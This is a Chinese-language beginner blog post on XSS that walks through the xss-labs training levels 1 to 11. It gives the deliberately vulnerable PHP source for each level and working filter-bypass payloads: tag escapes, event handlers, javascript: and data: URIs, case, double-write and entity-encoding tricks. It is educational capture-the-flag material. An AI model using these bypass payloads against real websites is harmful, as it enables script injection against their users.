XSS漏洞基础

前言

本人是个网安菜鸡,这是写的第一篇有关XSS漏洞学习的博客,请多多指教。

1.由于不可以在非代码区书写完整的html标签 用 [ ] 代替 < >

1
<sript>   -->   [script]  

2.作者用的是chrome浏览器,不同的浏览器回显的网页代码颜色或是容错规则方面有差异


一、xss漏洞是什么?

XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过向网页中注入恶意脚本代码,当其他用户访问该页面时,这些脚本会在其浏览器中执行,从而导致数据泄露、会话劫持、钓鱼攻击等安全问题


二、xss漏洞的基本知识

1.HTML 中的「文本标签」

通常指用于包裹文本内容的标签,例如:
段落标签:p、h1-h6
行内容器:span、em、strong
列表项:li
其他文本容器:div、section(虽然通用,但常用于包裹文本块)


2.script 嵌套在不同标签下的脚本运行情况

*脚本执行的核心规则

  • 浏览器纠错机制
    HTML 解析器会尝试修复非法嵌套,将 script 移到允许的位置(如父容器外部),确保脚本执行。
  • 内容模型(Content Model)限制
    每个 HTML 标签有允许嵌套的内容类型(如流内容、短语内容等),非法嵌套可能导致 DOM 结构变化。
  • 安全策略影响
    如 CSP(内容安全策略)会阻止未授权的内联脚本或外部资源。

*补充知识

1.浏览器在解析javascript的属性值时,是支持十进制或是十六进制的unicode编码
2.URL编码,也叫百分号编码,是用来将特殊字符转换成可以在URL中安全使用的格式,通常用%加上两位的十六进制数来表示
3. alert(“ “) alert(‘ ‘) 双引号与单引号均可以
4. console.log(‘ ‘) /(“ “) 控制台输出
5.url编码的字符->搜索
6.多个键值对的输入用&分割
7.align(对齐)属性或相关标签(比如 [div align=”center”]),这在早期的 HTML 中用于对齐内容,但现代开发中已不推荐使用,建议改用 CSS 实现对齐。
8.前后符号最好都闭合,防止浏览器非预期‘容错’,也可以活动注释符号
9.src,href
10.gfi文件格式

在 XSS 攻击或前端开发中,<script> 标签的嵌套位置上下文环境会直接影响脚本的执行行为。以下是不同场景下的详细分析:


在 XSS 攻击或前端开发中,<script> 标签的嵌套位置上下文环境会直接影响脚本的执行行为。以下是不同场景下的详细分析:


1. <script> 标签的标准位置

HTML 规范允许 <script> 标签出现在 <head><body> 中,但行为略有差异:

  • <head>
    • 脚本默认同步加载和执行,会阻塞 HTML 解析。
    • 适合初始化代码或依赖库(如 jQuery)。
  • <body> 末尾
    • 延迟加载,避免阻塞页面渲染。
    • 适合操作 DOM 的代码(需确保 DOM 已加载)。
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<script>console.log("Head 中的脚本");</script>
</head>
<body>
<div>内容</div>
<script>console.log("Body 末尾的脚本");</script>
</body>
</html>

2. <script> 嵌套在其他标签内

场景 1:普通容器标签(如 <div><span>

  • 脚本仍会执行,但需注意执行时机
    1
    2
    3
    <div>
    <script>console.log("嵌套在 div 中的脚本");</script>
    </div>
    • 当 HTML 解析到此处时立即执行。
    • 如果容器标签被动态插入(如通过 JS),脚本会在插入时执行。

场景 2:表单标签(如 <form>

  • 脚本正常执行,但可能破坏表单结构:
    1
    2
    3
    <form>
    <script>console.log("表单内的脚本");</script>
    </form>

场景 3:表格标签(如 <table><tr>

  • 部分浏览器可能因 HTML 解析规则拒绝执行:
    1
    2
    3
    4
    5
    6
    <table>
    <script>console.log("表格内的脚本");</script> <!-- 可能不执行 -->
    <tr>
    <td>单元格</td>
    </tr>
    </table>
    • 应避免将 <script> 直接放在 <table><tr> 内。

3. <script> 在特殊标签中的行为

场景 1:<noscript> 标签

  • 仅当浏览器禁用 JavaScript 时,<noscript> 内的内容会显示:
    1
    2
    3
    4
    <noscript>
    <script>alert('不会执行');</script>
    <p>请启用 JavaScript</p>
    </noscript>
    • 内部的 <script> 永远不会执行

场景 2:<template> 标签

  • <template> 内的内容被视为惰性文档片段,脚本不会执行:
    1
    2
    3
    <template>
    <script>console.log("模板中的脚本");</script>
    </template>
    • 只有当内容被克隆并插入 DOM 后,脚本才会执行。

场景 3:SVG 或 MathML 标签

  • 在 SVG/MathML 中嵌入 <script>,行为与 HTML 一致:
    1
    2
    3
    <svg>
    <script>console.log("SVG 中的脚本");</script>
    </svg>

4. 动态插入的 <script>

通过 JavaScript 动态创建的 <script> 标签,行为受插入位置影响:

插入到 <head><body> 中:

  • 脚本异步加载,默认不阻塞页面:
    1
    2
    3
    const script = document.createElement('script');
    script.src = 'file.js';
    document.head.appendChild(script); // 或 document.body

插入到其他容器中(如 <div>):

  • 脚本仍会执行,但可能因容器未渲染而无法操作其内部 DOM:
    1
    2
    3
    const div = document.createElement('div');
    div.innerHTML = '<script>console.log("动态脚本");<\/script>';
    document.body.appendChild(div);

5. XSS 攻击中的 <script> 嵌套利用

攻击者可能尝试在非标准位置注入脚本以绕过过滤:

场景 1:属性内的脚本

  • 利用事件属性执行代码(无需 <script> 标签):
    1
    <img src="x" onerror="alert('XSS')"> <!-- 通过事件触发 -->

场景 2:闭合标签注入

  • 通过闭合父标签提前结束上下文,插入 <script>
    1
    </div><script>alert('XSS');</script> <!-- 闭合原有标签 -->

场景 3:利用 HTML 解析特性

  • 某些上下文允许省略闭合标签或特殊字符:
    1
    2
    <textarea><script>alert('XSS');</script></textarea>
    <!-- 实际不会执行,因为 <script> 被当作文本内容 -->

三、xss-labs解题思路+源码分析

level1

类型:url类性

解题思路:
1.第一个没有任何的输入框,点解图片也没有任何变化
2.突破口->网址栏->随便输入几次数据观察网页情况
3.查看网页源码->变化化处的标签

外层标签是h1 文本便签,嵌入script标签的脚本可以发挥作用
因此,只需要属于一段完整的脚本即可

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
//window 在加载完所有元素后,才会执行这个语句 href="跳转链接";
//在level1这一关的网页控制台输入 window.location.href="level2.php?keyword=test"; 就会跳转至第二关
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"]; //没有进行任何过滤,直接将内容赋值给变量$str
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
1
2
3
4
5
由于没有任何过滤,只需输入简单的js代码就可以通过,例如:
<script>alert("GGBOND");</script> //
<script>confirm("GGBOND");</script> //

注意:1.不要忘记写上分号 2.探测时最好用字符串探测(可以获取网页回显的信息->判断是什么类型的防护)

level2

类型:输入框类型

解题思路:
1.有输入框–>value->字符逃逸
2.输入测试语句->查看变化处的源码(重点关注value)

测试语句

1
<script>alter("123");</script>
  • 1.输入的语句没有缺失或者是改变

  • 2.未输入语句时 value=” “ ,输入后 有一部分橙色,一部分蓝色 ,一般来说,网页源代码橙色是值,蓝色是标签。

出现这种情况是因为没有闭合,导致标签混乱

解决方法:闭合value

*字符逃逸

1.仅仅输入 “ :

闭合了前引号

2.输入 “>

“ > 逃逸出input标签,下图为此时的页面渲染

所以只需在之后加上相应的语句即可通关

3.除了逃逸,还可以构造为input的属性

具体语句在下方源码分析

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"]; //keyword的值就是value的值,即变量$_GET赋值给$str
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
//使用转义函数(经常出现):htmlspecialchars($str) 将$str的值进行实例化转义 -->之后例子会进一步解释 注意:这里只是对输出的$str进行实例化转义
//htmlspecialchars() 是 PHP 中用于将特殊字符转换为 HTML 实体的函数,其主要作用是防止 XSS(跨站脚本攻击)
//htmlspecialchars() 默认会转义5个字符,其他字符不会转义
//" ' < > &
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
1
2
3
4
5
6
7
8
//注入语句
"><script>alert("GGBOND")</script> // 逃逸
" onclick='alert("GGBOND) //
" onfocus='alert("GGBOND") //
以上需要自主点击输入框
" autofocus='alert("GGBOND")' //
自动点击


level3

类型:输入框类型

解题思路:
进行初步分析:
1.输入测试语句(闭合与不闭合)
2.查看网页源码->value的情况
3.选中value的值,右键选中修改html

查看是否被实例化转义(指value的值)

1
注入语句:   "><script>alert("123");</script>

查看:

由上图可知,输入的语句被实例化转义后才作为value的值

在level2输入同样的语句并进行查看value

1
<script>alert(123);</script>

value的值没有被实例化转义,这就是level2 与 level3 最大的区别

细节:alert(实例化后的内容); 从这里就可以发现:输入字符串可以获得更多的回显信息

*默认Htmlspecialchars()函数

没有转义单引号,可以使用单引号闭合

1
2
3
4
5
6
7
8
注入语句:
//需要手动点击执行
' onclick='alert("123")' // 不要用双引号包裹,因为双引号会被转义
' onclick=alert("123") // 无引号包裹,仍然可以执行
' onfocus=console.log("123") // 控制台输出
//自动执行
autofocus=alert("123") //

问题:为什么不用引号包裹js函数仍然可以执行呢?

1
输入:' onclick=alert("123") //  

浏览器会自动补全引号,即浏览器的容错功能发挥作用

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
//使用实例化转义函数,默认不会转义单引号
//htmlspecialchars($str,ENT_QUOTES) 就会转义单引号
//使用实体转义函数,默认不会转义单引号
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


level4

类型:输入框类型

解题思路:

输入测试语句

1
<script>alert("123")</script>

检查是否被实例化转义

  • < > / 别替换为空
  • alert括号中的双引号没有没替换或是实例化转义,即没有过滤双引号
  • 输入的语句有橙色,蓝色部分(被浏览器当作标签)
  • alert括号内的第一个双引号与value的第一个双号闭合,之后的内容均被认定为标签

尝试闭合

闭合成功,但注入语句仍被该标签包含,不能发挥作用

*插入属性

由于< > / 均被过滤,插入一个完整的标签比较困难,可以选择插入属性

1
2
" onclick='alert("123")' //
用'无法闭合value的双引号

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0); //错误展示,0表示不展示错误,即服务器关闭错误回显
$str = $_GET["keyword"];
$str2=str_replace(">","",$str); //str_resplace("被替换字符","替换字符",变量)
$str3=str_replace("<","",$str2);
//没有使用 Htmlspecialchars函数对字符进行实例化转义
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>


level5

解题思路:

类型:输入框类型

输入测试语句:

1
<script>alert("123")</script>
  • 括号内的双引号没有被替换或实例化转义
  • 括号内的双引号与value的双引号闭合
  • 分为橙色,蓝色蓝部分
  • script标签背替换

尝试闭合

  • 闭合后标签逃逸input标签
  • script标签被改变

既然标签被破坏,尝试注入属性

1
" onclick='alert("123")' //

onclick 属性也被替换

*伪协议

在 Web 安全中,“伪协议”(Pseudo-protocol)特指浏览器支持的某些特殊 URL 协议格式,它们并非真正的网络传输协议(如 http:// 或 https://),而是用于触发特定行为或执行代码。在 XSS(跨站脚本攻击) 场景中,伪协议常被用来绕过过滤规则,直接注入恶意脚本。

1.javascript:在 URL 中执行 XSS 攻击 -> JavaScript 代码 javascript:alert(1)
2.data:嵌入 Base64 编码的内容(HTML/脚本等过内容安全策略(CSP)-> data:text/html,[script]alert(1)[/script]
3.vbscript:在旧版 IE 中执行 VBScript 代码 IE 特定漏洞 -> vbscript:MsgBox(“XSS”)
4.about:显示浏览器内部信息或空白页面 -> about:blank

1
2
3
4
基本格式  javascript:JavaScript代码        //注意:若js代码有多行,用分号分割
若要进行编码绕过时,要对' :JavaScript代码 ' //注意:这一部分进行编码(包括冒号)-> 浏览器会自动解码
返回值为空,为避免因返回值影响页面行为 设置void(0)
<a href="javascript:void(0);alert(1)">点击</a>

常用语句:

1
2
3
4
<a href="javascript:alert('XSS')">点击触发</a>       				//注入 javascript: 触发点击执行
<iframe src="javascript:'alert(1)'"></iframe> //利用 javascript: 动态写入内容
<a href="jav&#x61;script:alert(1)">点击</a> //使用 URL 编码或 Unicode 绕过关键字过滤,解码即为javascript
<a href="javascript:void(0)" onclick="alert(1)">点击</a> //利用 onclick 事件覆盖 href 行为(需用户交互)
  • data协议:通过嵌入 Base64 编码的 HTML 或脚本,绕过某些过滤规则:
1
2
3
4
5
6
基本格式 data:[<MIME类型>][;charset=<字符集>][;base64],<数据内容>
1.MIME 类型:声明数据类型(如 text/html、text/javascript)。
2.Base64 编码:可选参数,用于编码二进制或特殊字符内容。
3.浏览器支持:现代浏览器广泛支持,但受 CSP(内容安全策略)限制。

攻击形式:参考以下常用语句

常用语句:

1
2
3
4
5
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">  		//object 标签的 data 属性注入 Base64 编码的脚本
<iframe src="data:text/html,<script>alert(1)</script>"></iframe></object> //iframe 的 src 属性,通过 data: 加载恶意 HTML
<iframe src="data:,<script>alert(1)</script>"></iframe> //省略 MIME 类型,某些浏览器允许省略 text/html 声明
<a href="data:text/javascript,alert(1)">点击</a> //结合 JavaScript 执行,直接通过 data: 执行 JS 代码

  • vbscript协议:仅适用于旧版 IE,执行 VBScript 代码
1
<a href="vbscript:MsgBox('XSS')">触发</a>
  • bout:通常用于加载空白页面,但可能结合其他漏洞利用
1
<iframe src="about:blank" onload="alert(1)"></iframe>

正式解题:

1
2
3
示例1:
"> <a href='javascript:alert("123")'> 1</a> //
解释:"闭合value的双引号,紧跟的>与"共同实现字符逃逸,使用<a>标签的属性href+js协议

网页源码:

页面渲染:

点击超链接‘1’,即可通关

1
2
3
示例2:
"><iframe src="javascript:alert(1)"></iframe> //
动态创建标签页面,当标签页面被创建时自动执行js代码

此时的页面渲染:

*趣事

此时你不断刷新页面,页面会不断弹框(刷新一次弹框一次)

对于js协议的剩下编码示例与onclick覆盖就不再演示,以下为具体输入语句:

1
2
3
"><a href="jav&#x61;script:alert(1)">点击</a> 
"><a href="javascript:void(0)" onclick="alert(1)">点击</a> //注意本题不可以使用onclik

对于编码,有需要的可以下载插件:CaptfEncoder,编码的作用在于可以绕过一些明文的过滤


源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
//使用str_replace替换字符 过滤了< 使用伪协议不会涉及<
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

//进一步解释实例化转义函数Htmlspecialchars()

// $str = "Tom's \"house\" & <garden>";
// echo htmlspecialchars($str); // 默认: Tom's&quot;house&quot; &amp; &lt;garden&gt;
// echo htmlspecialchars($str, ENT_QUOTES); // 转义单引号: Tom&#039;s &quot;house&quot; &amp; &lt;garden&gt;
// echo htmlspecialchars($str, ENT_NOQUOTES); // 不转义引号: Tom's "house" &amp; &lt;garden&gt;

?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

level6

类型:输入框类型

解题思路:

简化流程,由于是输入框类型,直接输入语句:

1
"><script>alert("123");</script>
  • 双引号没有被实例化转义或过滤
  • 实现了字符逃逸
  • script标签被替换
  • 使用onclick,也会被替换(自主测试,不演示)

过滤script则不用script,用伪协议

情况与level5类似,则选择语句:

1
">  <a href='javascript:alert("123")'>点击</a> //

此时的页面渲染

  • 标签实现逃逸
  • href 被替换

*大小写绕过

1
"><sCript>alert("123");</scRipt> 

成功通关

  • 疑问:为什么前面的关卡不使用大小写绕过呢?或是说为什么这关可以使用大小写绕过?代码分析解答

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str); //替换script标签
$str3=str_replace("on","o_n",$str2); //替换on
$str4=str_replace("src","sr_c",$str3); //替换src
$str5=str_replace("data","da_ta",$str4); //替换data
$str6=str_replace("href","hr_ef",$str5); //替换href
//常规的伪协议无法绕过
//
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
//这里存在两个很大的破绽:
//1.没有先实例化转义变量$str6,只是进行’部分有限‘的’黑名单‘标签替换,就拼接到value的值,
//2.str_replace函数默认区分大小写的且是严格匹配的(只有一样的字符才会被替换)
//1+2->大小写绕过

//前面的关卡中 level1根本没必要替换 level2在拼接value的值之前就实例化转义了 level3 level4 level5 同理
//为什么在拼接value的值之前就实例化转义了就无法使用大小写绕过呢?
//首先,输入框类型的重点在于如何处理value 1.闭合->逃逸 2.加属性
//加属性不需要讨论,要实现逃逸就要使用"闭合value,但"被实例化转义,因此大小写绕过不能实现,即都没有满足1,即使满足2,也无法实现大小写绕过
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>


level7

类型:输入款类型

解题思路:
输入测试语句:

1
"><script>alert("123");</script> 
  • script 被替换为空
  • 成功逃逸
  • 双引号没有别实例化转义或替换

输入语句:

1
"><sCript>alert("123");</scRipt> 
  • 两次测试结果一样,那就说明有点异样了
  • 说明被变量的英文字符被统一转为小写后再进行替换

输入语句:

1
"><a href='javascript:alert("123")'>点击</a>
  • 实现逃逸
  • javascript中的script被替换为空
  • 下面的 “”>” 实为原有input标签的后面部分–>浏览器的容错
  • href也替换为空

由以上的三次测试,发现闭合逃逸是可以实现的,只不过是某些标签和属性会被替换为空。

*双写绕过

输入语句:

1
2
"><scscriptript>alert("123");</scscriptript> 
" oonnclick='alert("123")'
  • 分析双写

scscriptript 第一次匹配从第三个字符开始,即sc script ript 删除后即为 script

对于其他伪协议等测试不不再测试(写得太累了(<!_!>))–>源码分析

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';

//输入框类型中需要闭合value的类型实现双写绕过的三个条件:
//1.在拼接value之前,变量没有被实例化转义("会被实例化转义)
//2.对应字符别替换为空
//3.在整个过程中,只实现一次替换
//1+2+3->双写绕过

?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>


level8

类型:输入框类型

解题思路:

输入:test

  • 输入内容被拼接到超链接中->可以尝试伪协议

输入: javascript:alert(“123”)

  • javascript中的script被替换,且不是替换为空
  • 括号内的第一个双引号被实例化转义

(其他伪协议类型自主测试)

由上可知:

  • 括号内不应再使用双引号,尝试使用单引号

*编码绕过

原理:*补充知识 目录有解释

原语句:javascript:alert(“123”)
unicode 编码(16进制):

&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0022&#x0031&#x0032&#x0033&#x0022&#x0029

成功绕过

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); //统一转为小写->防止大小写绕过
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
//以上为替换字符
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
//添加链接使用了最为简单的方法:echo 加标签
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>


level9

类型:输入框类型

解题思路:

查看网页源码可知,可以尝试插入伪协议

但是,无论输入那种伪协议,网页源码始终为:

输入:

http://
至于为什么输入,全靠经验

输入:

123http://
http:// ashjdhj
以上语句都会被添加

  • 所以只要识别到http://就会添加(源码分析会解释)

*注释:

现在思考如何将 http://嵌入伪协议的js代码中而不影响其执行
->使用注释

// 在js中为单行注释
/**/ 在js中为多行注释

尝试输入:

javascript:alert(‘123’)/* http:// */
javascript:alert(‘123’)// http://

都可以被成功添加

  • script被替换且不为空->尝试大小写绕过

输入:

javasCript:alert(‘123’) /http:///

  • 可知变量被统一转为小写,后被替换

尝试:注释+编码

输入:

1
2
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0027&#x0031&#x0032&#x0033&#x0027&#x0029&#x0020&#x002f&#x002a&#x0068&#x0074&#x0074&#x0070&#x003a&#x002f&#x002f&#x002a&#x002f
上述为javascript:alert('123') /*http://*/ unicode编码的结果
  • 插入失败,这是为什么呢?

分析原因:

unicode编码后的字符会被浏览器自动解码,但是服务器不会解码(指后端没有对unicode解码的代码程序),所以后端代码接受到的是一堆‘奇怪’字符,由于没有严格识别到http:// ,所以不会将变量值拼拼接
解决措施:

对于javascript的script中任意(不限数量)字符进行unicode编码

输入语句:

1
2
javascrip&#x0074:alert('123') /*http://*/ 
t -> &#x0074

成功通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://')) //判断变量值是否存在字串 ‘http://’
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //存在则直接拼接
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>


level10

类型: url类型

解题思路:

输入一些测试语句(

但回显结果类似于:

  • 插入的语句被实例化,且无法准确有效地判断过滤特征或触发的行为结果–>可能就不是这个参数(keyword=)

*隐藏标签

1.一些网站的后端可以接受隐藏的input标签的参数
2.隐藏input标签的目的是:后端需要input的返回值,但有不想用户看见—>这种情况经常出现
3.hidden下的input标签的赋值往往是通过js代码的逻辑进行赋值,也存在通过post,get请求获取值

  • 与前面关卡不同的是:有大量隐藏的input标签(hidden)

测试使用get请求对隐藏的input标签赋值:

1
<script>alert(%27123%27);</script>&t_link=123&t_history=456&t_sort=789

回显结果:

总共有四个键值对,探测出第四个键值对可能存在xss

输入:

1
&t_sort="><script>alert("123");</script> 

键值对以&分割,不用担心keyword将后面的语句当作值

回显结果:

  • 回显的结果与第四关类似

输入语句:(插属性)

1
2
&t_sort=" onclick='alert("123")' type='text' //
onclick 需要自主点击,所以需要’显示‘

页面渲染:(多了一个输入文本框)

点击即可通关

*趣事

—–>有趣的是将括号里面的双引号改为单引号就无法成功插入
即输入:

1
&t_sort=" onclick='alert('123')' type='text'  //

分析: onclick=’alert(‘123’)’
1.浏览器将 前两个单引号看作一组即’alert(‘ –>转为双赢号,即”alert(“ (标签属性后面浏览器都会单引号转为双引号)
2.对于剩下的 ‘)’ ,不是任何属性的值,不将单引号转为双引号,被当作属性或标签呈现蓝色

  • 经验总结:使用多个相同的引号要注意浏览的识别规则

补充:自动点击测试

输入:

1
2
&t_sort=" onfocus='alert("123")' type='text ' autofocus"    
autofocus是独立属性

没有自动点击()原因是尾部存在双引号–>语法错误

测试:

1
2
3
4
5
&t_sort=" onfocus='alert("123")' type='text'  autofocus //
实为:<input name="t_sort" value="" onfocus='alert(123)' type="text" autofocus>

&t_sort=" onfocus='alert("123")' autofocus type='text'
实为:<input name="t_sort" value="" onfocus='alert(123)' autofocus type="text">

实现自动点击

因此,注入的语句最后在尾部加注释(具体情况具体分析)

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"]; // 接受t_sort的参数
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


level11

类型:url类型

解题思路:

没有输入任何语句,检查页面:

  • 包含多个隐藏标签
  • 其中一个input标签存在值,是上一关注入的payload

